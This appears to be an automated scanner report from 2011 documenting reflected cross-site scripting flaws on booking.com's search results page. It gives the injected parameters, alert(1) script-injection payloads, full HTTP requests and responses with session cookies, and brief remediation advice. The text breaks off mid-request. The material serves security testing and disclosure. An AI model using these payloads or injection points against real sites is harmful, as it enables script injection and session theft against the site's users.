This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 415f0"><script>alert(1)</script>faf880f0642 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc7af"><script>alert(1)</script>9d469f9415c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 56a5f'%3balert(1)//e19a29d99f8 was submitted in the REST URL parameter 1. This input was echoed as 56a5f';alert(1)//e19a29d99f8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31914"><script>alert(1)</script>d10a246203a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html31914"><script>alert(1)</script>d10a246203a?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 00:24:37 GMT Server: Apache X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 59378 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bc195'%3balert(1)//0fd97c24ba8 was submitted in the REST URL parameter 1. This input was echoed as bc195';alert(1)//0fd97c24ba8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchresults.htmlbc195'%3balert(1)//0fd97c24ba8?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2011 00:24:40 GMT Server: Apache X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 59294 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the aid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 16594</script><script>alert(1)</script>dbafd62ac0 was submitted in the aid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchresults.html?aid=33559116594</script><script>alert(1)</script>dbafd62ac0&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:14:06 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9Yc0ZDC9Mu1EAGM9O1PxW9r04KF2ncDEBSHgNUXVAzVnXouEVrERXP8sy7P%2BCaMJUcQFZu89oIgncJuDQvP4RNo3KkrZuPvEkX%2BrydBU649KACjP15pDvznmAHESRGAjWDPj2XBbZ20CKN63nZQ%2BubhUjBXJheWpgkq9WzKmN1Y55fwW2qXYEDkMWLRPGDTQ04mjUp2ZrYseiu%2FxeH3bkK8WA4IKsBRoTR%2Bde1oWqSHhS62phaJI2koebIBJAYqlTDO2e7adNDgwqdSyA%2B7BLc%2FVbAwCeqdXTZ1CtAtG7491NrkorDjVvsm12Qgq623Als0UzoBv80AXQSY%2Bn3CvatxZB7HJ2iozE3YouPFrlPHMZgiI4LsEeSqSM7C9YFHYO4ho3qMZwxa0O76JFbUFb4W%2Fy22SKfRUcrYSMcRbnsbLmCXhLYc0Rvm3uPWTshBm7amXDl6oyma75EhCDqZl4idV8Bnos8XE1Dk39BiDyUXxR%2BtzA%2FtEafmHy%2Fcz%2F%2FWhs6aq7Q8OfbCP36NV%2FH20sQKm0TTLmmSVJ%2FWtOKdxLfNBIOCrj0mrFV2xueb4lWBLhDycEpebaZXcXFw0ox1yyHgzwDQI9CDChUJcuKpWmx3p8d4wMPurfdAAjvugd2V1toFJBkLQIirzwT5aTjPY47znz919Ap6GS1dr%2Bx0aZ762IwEak5eNZANtTArYxKdLWna01iT%2B8VvDE0leQRYVYRle3VdRyfzkXjUVGHkaNPd%2FVzAzPUqTgr5DBnTskNeyE1LOcj75nPBVGLtPD8MAPZp7BTFUWhW4iX%2BUz4nSZFJ8VDN%2B9xIuPoutaapBSn9P1QMHJFuKTUI2KCUddOHxvhmruzSzhHLM5dv%2FxCwwm%2B1er3ChCOnov5SWB8diPPxpuPk2gxVClueSuT0jCgMkIzcXK6RX5X6FyBX3qRKM3LNbfdHZs0VIUayEd4sKD7PXhCbwpS8zc%2FeVlz6OZVv9nh0LrnACGEi7CHAU4RBkDaJON7ZwEma5R2wKO31RwhqGUBNVOIeQL%2B%2FUJ2%2FC%2FUU%2B7XdJcNjotA2uL%2FE5N7Dnf1X%2FW9GI6wJPv49vl1oFTWdjZi93R1Uljs9nXXMSvsU1LaYXqVKEBVfn1ngeLGA3O35Jx2FzNCAan7peaGnSvEKtt5h9wzybMdPoVfIlK3nVKJsFAZfW0OCZ8eOfyi3jgcL7vTDBnVvE%2BlpjseifN6ESCeZVxYlcWgP7%2Fa6dG%2ByJFOSNvkGKbdzSPsP6m5gprwwwAyDqEbj%2BpqqLfFFgMtgd9%2FZ2OyA4SWqy%2Ff8Mo9tEjQW%2F6c6BAnqLG0b%2BhJ9%2FVC5ZVxOIpUdljs6DVLbBUbdFZXtKJyZXsri9RkKr%2FNeHdbN%2Fg3SIJQiLRCztepXtUFeHwX4%2Bq%2BJNlYtSbZ0i7XLfFkFPyCR7cxExPY21L24Ps%2Fb7LlsjYuYi40w%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:14:07 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 385825 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the aid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d852f"><script>alert(1)</script>9c61548c4a4 was submitted in the aid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html?aid=335591d852f"><script>alert(1)</script>9c61548c4a4&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:13:27 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YaNxdhP7xmK4ZnAyJLzPOBzWBuP%2B1qTRnLZgE%2FVJTkrYDYAgvlE8v6S1WIA01ZhQxEv402Kr88%2FCfLth59ZdFekQjiWJEdDDJtlv653nFV6MCmiw9Q%2BsjNTtFYtNsQ%2F4lYDW5GhCaPNyrNKaNruGf8Xa%2FcIrf2SdQA3%2FM3XuKCOWR5HGSDoffP8pJttFsFRlbUhFiaRlaiHgVb0EkURJLTQt3V1jftDNtid%2BuZ4LxKCnlWeTcXhqbd64vAZsTyzEd1wWr1ECaw%2F%2Fg%2Fw%2Foj5GK9JsRwekYSgHRO41Gs0Q1nGyx7dYBykQnfskwCVPgnFoxWfyK742YeOEjs2pWq0ZC82DC9sLF2L9VGHZ6Uz8%2Bc19A8rppNUXHaoJZtJoFtwlMi7mA5vxxYIOAPpdD3Uzwz2nZ4JL6QKUSgHpaDBS1w%2FnqNVpwimW73EiacZSfdO8IRXLTDzmkf7k7IqOYKNqwN4o9i0G09XqCY3yFPaYbq5fzBHkCS5HWIGjXzx%2FIZXjaSz%2BRcGf%2F2BbK0RMy9fFEYLJSkrwvJ%2FP2S1PiiV8Vf3ZpNKMm0f1vPXLOn5M7XsgS5nzxlBMOsntB%2BV8x7pMrPfcA1ddlIknj5M3Ctkqv8J0%2FJduYe85QfSkIFeOWsOrxm1zF6%2FgHSRs0PA018J1XrWq334CBd7F66jdQ3YH83rhW1k5CT%2FMQvaSmjXng5b7WBBCakSEGaUMOuusfwNX%2Fe94STbOwoQNHrbDJg8qRroJfOSsLK8AbwoznOkhrwhBGrdfVtrNlDDy4drLLy%2B3XfbV8AUsj3sLhLM%2BRMgB2ECJrqZCy6%2FiwPSKo2pOWBQtYbkC2Pyd40g3NOurcAwpG0Rx5aUqCwJ45LQsZTyRYOesvsIrJEFbFYxFgYJgNsHi%2BpnsjDxQ4VvIEOSIjnMPvSPLSa2%2B7qNbPnrWq%2Fr0dpb%2BPWQVs%2Ba3OndcJ4pP9H%2BAxv%2FkJkJJLjT%2BqclDW2nSPrxXc3vZxKkvVlsTG3A5ixcdc3jJstFvueTvQAXPDoId3%2BVYscwHLf452UvpTYruHQXRgislE4XrlS%2FENbP5n4s5%2BmkeyhdFnMzOS0NRpucGI9reYIOW%2BLwinCI3oaImjfFPU5ChNAzNsDcgFdfI9b9BdPVn5rmk2tHCb9o1IlTLmQppgkdsUpGX2csQKPvZ3D2khQyljh2c3Jv4%2B9ygbUUlHWJj1NQ8dPntRqOT1iCMj9AwhmF0MyONkZiT%2BeOLEQGVWNsTgO2GH%2Bt545EL3dlQMLrb2t0li%2BRVTrP8MSCsjr7%2FzvkPzFoTyRyhj5%2B4fRNVTJmxXCgA0G%2BuibIqRU12TowMtDZb7eBt0omwjZC%2BeaMpTsKWA2NtrDf7v1ZneBWqV3rnJG6dWnGxiKfkBkXAcZ4Oion6yMLvuAV5i4a4iI2Xt5HCpS6KDYYAaYZCq%2FLENg5StfG3pw%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:13:27 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 385978 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the checkin_monthday request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abb50"><script>alert(1)</script>b96c0c3da70 was submitted in the checkin_monthday parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04abb50"><script>alert(1)</script>b96c0c3da70&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:16:27 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YdN864bAdMj5F%2B8LyEAy9%2BENkbBkfkD3xlqEYJetszTSFEJ5opEtwKeeSIw3ngok9G03LHThCOjdxnGEeKkVBMwECBsqWm7cVMlbsTgQgwdSwOKMvNqfQgB7Y2yvJRNqgUqYzp%2F9HjZruDNc5YU5dH%2BK%2Fqs3t4%2B9XVw9K3X9h7hr6p1aX83FOmGifdGyY%2F%2FtlcdFYg3UfSOoOLYRBAdcJwHMC4eLyr9LfMSZ2S2lfiVFu9rZF4wfI0jXZ3MktJrkHso%2B5YD1LtPkJlIcqmDeNskdO7GOr%2Fp186o63Z2ECsPNKEPPwoIOUuny2N66k7b9UBesmgcCDMloBYqIg4nT6M%2F0O5zlVZzHPn2yPBH14eb94AU%2FBv79eo6j80yaSt89bbyoQby2wZ96PwIJJMMGS%2FolOAXe8XVmlXdeFhvRZbnbYGq3RAKOd8e4kSr6Na2VWopkhGzvcGu%2FVVuey0hYlTxzBG5MuUSsB1paTCqSqKhas1hp9lz2AU1NSAUOiT1gKnmU0WcwhPMgPT6xdhlJl5GQurjXgvORt6fXwo7hkDxnPopCISzrf9ZhSeCA1GLi%2Fb78gLmhVYqRc63xhFYfdAHr2lsxwJO0GUfPwuxjc06Z7VmdXEK6wy%2F%2F%2F5YAg5dbYdafrwZs22Il3auQHl%2BUf0SzZQ1S9F1q3jIdCkOSQ1Bfnw%2B6rVP0jfnbzfWrOy%2Ba7I%2F1bGHphkuDGpYzvBLQN7Fix1U9k6Ci0C9lShF4Jb8q5dgV04%2B69yXSG%2Fmdz9zX1FTzNajPHkleHI2KQZ8zabdpiOfc%2FPtei11Wqu%2BqWGFs7ZUxLBf5xdsuUWK9qn8B0a1PUk7OpLjRwBCz9nMrs37QC24FzlcbOueZ0ykEycGrFHzMFySV%2F9JGT1erbm90r70evUO9RbCwoCc19g4KQ%2BRdTi0DwCZh7gbd12Tj%2BArLgtLnzxeiOzpdO5vkVB249mCUffXt0o0M7zyv3flSw%2FDg6dN9Yy2xftATILQsO%2Bi3oUB1ePwkY1xtge5gwi4AC0zb3AO3KUjnfjijj4NO1y%2BLuQW0tyjUBrTMHmQfn4tW62yQkYIf0kA3xhQe5k6bR2AdEo0GLRFnWfJjFrCXrliOZ7ffdcK3Ce3Fl3LJe59JFZLr6I6UpJtbM1yElbzWMNzPCgId6NYHks6dyGfKi5hdGuFyjnyjDkZhvtt%2BcfO5Ge1kD778a9P6jpEwNWlkfBvJLlcxpkI1hN%2FkKDWwRbSb6vdFn4Hlf9t48e%2B6o7wXNCU1PN7Vuou81NSpGnQHHoclX7sKMJlS2TFdHJneAaNnxOZHz9lQp1Z%2F1rI%2FuXS3uij99DoGiyWPtAa9oioI%2F6%2BTe3To%2FXxKZW2LBYUM%2FOpfDmboGN7%2FLLdzwGWomth2JBDqLu6xO3l%2BgQdxOwGy3zlbNeFySGo7B%2FW6pv8m50%2FzgpvrHUbPz02F7yQmxOqvNcalNMUvR0FVcrTcWQCRtw%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:16:27 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 278498 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- start: law_lang_country_se ...[SNIP]... your password?" href="https://secure.booking.com/login.html?op=remind;lang=en;go_back_url=http://www.booking.com/searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04abb50"><script>alert(1)</script>b96c0c3da70&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717"> ...[SNIP]...
The value of the checkin_monthday request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 831ef</script><script>alert(1)</script>c56720788c0 was submitted in the checkin_monthday parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04831ef</script><script>alert(1)</script>c56720788c0&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: 